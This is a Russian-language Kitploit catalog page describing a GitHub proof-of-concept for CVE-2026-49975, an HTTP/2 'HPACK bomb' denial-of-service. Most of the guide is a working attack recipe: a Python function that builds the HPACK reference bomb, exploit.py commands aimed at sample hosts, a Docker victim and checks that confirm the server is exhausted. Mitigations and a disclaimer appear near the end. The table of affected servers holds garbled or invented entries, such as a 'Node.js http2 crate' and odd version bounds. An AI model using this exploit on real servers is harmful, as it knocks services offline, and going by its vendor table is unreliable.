Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-49975-http2bomb_reproduction — PoC-эксплойт для уязвимости CVE-2026-49975 HTTP/2 Bomb DoS. Демонстрирует HPACK indexed reference bomb в сочетании с flow-control window stall для исчерпания памяти сервера через одно соединение. | Kitploit
Инструменты/GitHubGitHub/razureink/cve-2026-49975-http2bomb_reproduction
Анализ уязвимостейЭксплуатацияВеб-безопасностьСетевая безопасностьСтатьи и ИсследованияОбучение и Образование
GitHubrazureink/cve-2026-49975-http2bomb_reproduction

cve-2026-49975-http2bomb_reproduction

PoC-эксплойт для уязвимости CVE-2026-49975 HTTP/2 Bomb DoS. Демонстрирует HPACK indexed reference bomb в сочетании с flow-control window stall для исчерпания памяти сервера через одно соединение.

Репозиторий
11353 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-49975 (HTTP/2 Bomb): полное руководство по воспроизведению

На основе рекомендаций QiAnXin CERT и оригинального исследования Calif

================================================================

I. Обзор уязвимости

CVE-2026-49975 — критическая уязвимость отказа в обслуживании (DoS) в реализациях HTTP/2-серверов и прокси. Атака, получившая название «HTTP/2 Bomb» или «HPACK Bomb», эксплуатирует две особенности поведения протокола HTTP/2 на уровне проектирования, чтобы вынудить цель к неограниченному потреблению памяти (OOM) и исчерпанию CPU:

  1. Раздувание индексированных ссылок HPACK — небольшой кадр HEADERS, который логически ссылается на одну и ту же запись cookie тысячи раз через индексированные ссылки HPACK. При декодировании HPACK-декодер узла может выделить память, пропорциональную числу ссылок, а не размеру данных в сети.
  2. Застревание окна управления потоком — в сочетании с начальным окном нулевого размера отправитель ставит в очередь данные HEADERS, но получатель отказывается читать до поступления обновлений окна; буферы заполняются, и давление на память растёт.

Базовая оценка CVSS 3.1: 9.8 (критическая)
Вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

II. Принцип атаки (двухэтапная комбинация)

Атака наиболее эффективна, когда два этапа дополняют друг друга, но каждый этап по отдельности достаточен против некоторых реализаций.

Этап 1: бомба индексированных ссылок HPACK

Сжатие заголовков HPACK в HTTP/2 использует развивающуюся динамическую таблицу. Как только крупный заголовок cookie вставлен в таблицу (через Literal+Incremental Encoding), атакующий может ссылаться на эту запись однобайтовым опкодом. Повторяющиеся ссылки заставляют декодер восстанавливать один и тот же заголовок снова и снова.

Wire:  [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
    ↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.

Пакет размером 5 КБ может развернуться в сотни мегабайт декодированной полезной нагрузки.

Этап 2: Блокировка окна HTTP/2

SETTINGS с INITIAL_WINDOW_SIZE=0 заставляет жертву ставить в очередь все данные HEADERS/continuation. Атакующий медленно выдаёт кадры WINDOW_UPDATE. Буферы остаются комбинаторно заполненными.

Механизмкоэффициент усиления
тело raw HEADERS1x
раздувание ссылок HPACK20–80x
+ параллельные потоки100–500x
+ блокировка окна1000x+

III. Затронутые серверы

Вендор / ПроектВерсияописание
Apache mod_http2< 2.0.13OOM при раздувании индексированных ссылок
nghttp2< 1.62.0неограниченное раздувание памяти
h2o< 4.0.2бесконечный цикл в декодере
Node.js http2 crate< 1.12.0внутреннее расширение в nghttp2-rs
Go net/http (h2)< 1.24зависание горутины + OSL alloc
Apache Traffic Server< 9.3.0OOM через внутренний буфер
HAProxy h2< 2.9падение при превышении размера AVP
Envoy< 1.30массивное выделение в управлении потоком
Rust hyper/h2 crate< 5.14паника при переполнении SK

Обратитесь к записи CVE вашего вендора для точных границ.

IV. Настройка окружения

# Python 3.8+ with ssl support
python --version

# SSL Certificate optional; PoC sets CERT_NONE

Быстрая жертва в Docker:

docker run -d --name h2-victim -p 4433:443 \
    nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null

V. Код эксплойта

Сопутствующий скрипт — exploit.py.

Основная процедура:

def build_hpack_bomb(num_headers: int = 20000) -> bytes:
    cookie_name = b"cookie"
    cookie_value = "a=" + "y" * 128
    data = bytearray()
    # Step 1: insert cookie into dynamic table
    data.append(0x40)  # Literal+incremental
    data.extend(encode_hpack_int(len(cookie_name), 7))
    data.extend(cookie_name)
    data.extend(encode_hpack_int(len(cookie_value), 7))
    data.extend(cookie_value.encode())
    # Step 2: spam Indexed refs (index 63)
    for _ in range(num_headers):
        data.append(0x80)
        data.extend(encode_hpack_int(63, 7))
    return bytes(data)

Скрипт выполняет:

  • TLS-соединение с host:port
  • предисловие HTTP/2 PRI + SETTINGS с window=0
  • отправляет HPACK-бомбу как HEADERS
  • опционально отправляет медленный поток WINDOW_UPDATE
  • измеряет деградацию RTT с помощью PING-фреймов

VI. Использование

# Basic run (default 10000 refs)
python exploit.py 192.168.1.100

# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000

# Disable window stall
python exploit.py endpoint.com --no-stall

# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60

# Verbose
python exploit.py 10.0.0.5 -v

VII. Проверка эффективности атаки

Мониторинг ресурсов жертвы:

watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>

Признаки того, что атака работает:

  • RSS жертвы растёт >500 МБ
  • CPU подскакивает до 100%
  • задержки PING превышают 1 секунду
  • соединения завершаются по тайм-ауту

VIII. Меры противодействия

Подходнастройка
Ограничить заголовки на потокMaxHeaderCount 500
Отклонять низкое сжатиепорог коэффициента < 5
Ограничить рост HPACKограничить динамическую таблицу 1 КБ
Память на соединениеотклонять после N МБ
ограничение частотыобщий conn/s, req/s

IX. Отказ от ответственности

Эта информация предназначена только для образовательных целей и авторизованного тестирования безопасности. Запускайте её только против систем, которыми вы владеете или на тестирование которых у вас есть письменное разрешение.

Ссылки

  • CVE-2026-49975 Mitre
  • QiAnXin CERT Advisory (оригинальный бюллетень на мандаринском / английском)
  • Calif, A. The HTTP/2 Bomb: HPAK indexed OOM. Black Hat 2025
  • RFC 7541, RFC 9113
Скачать инструмент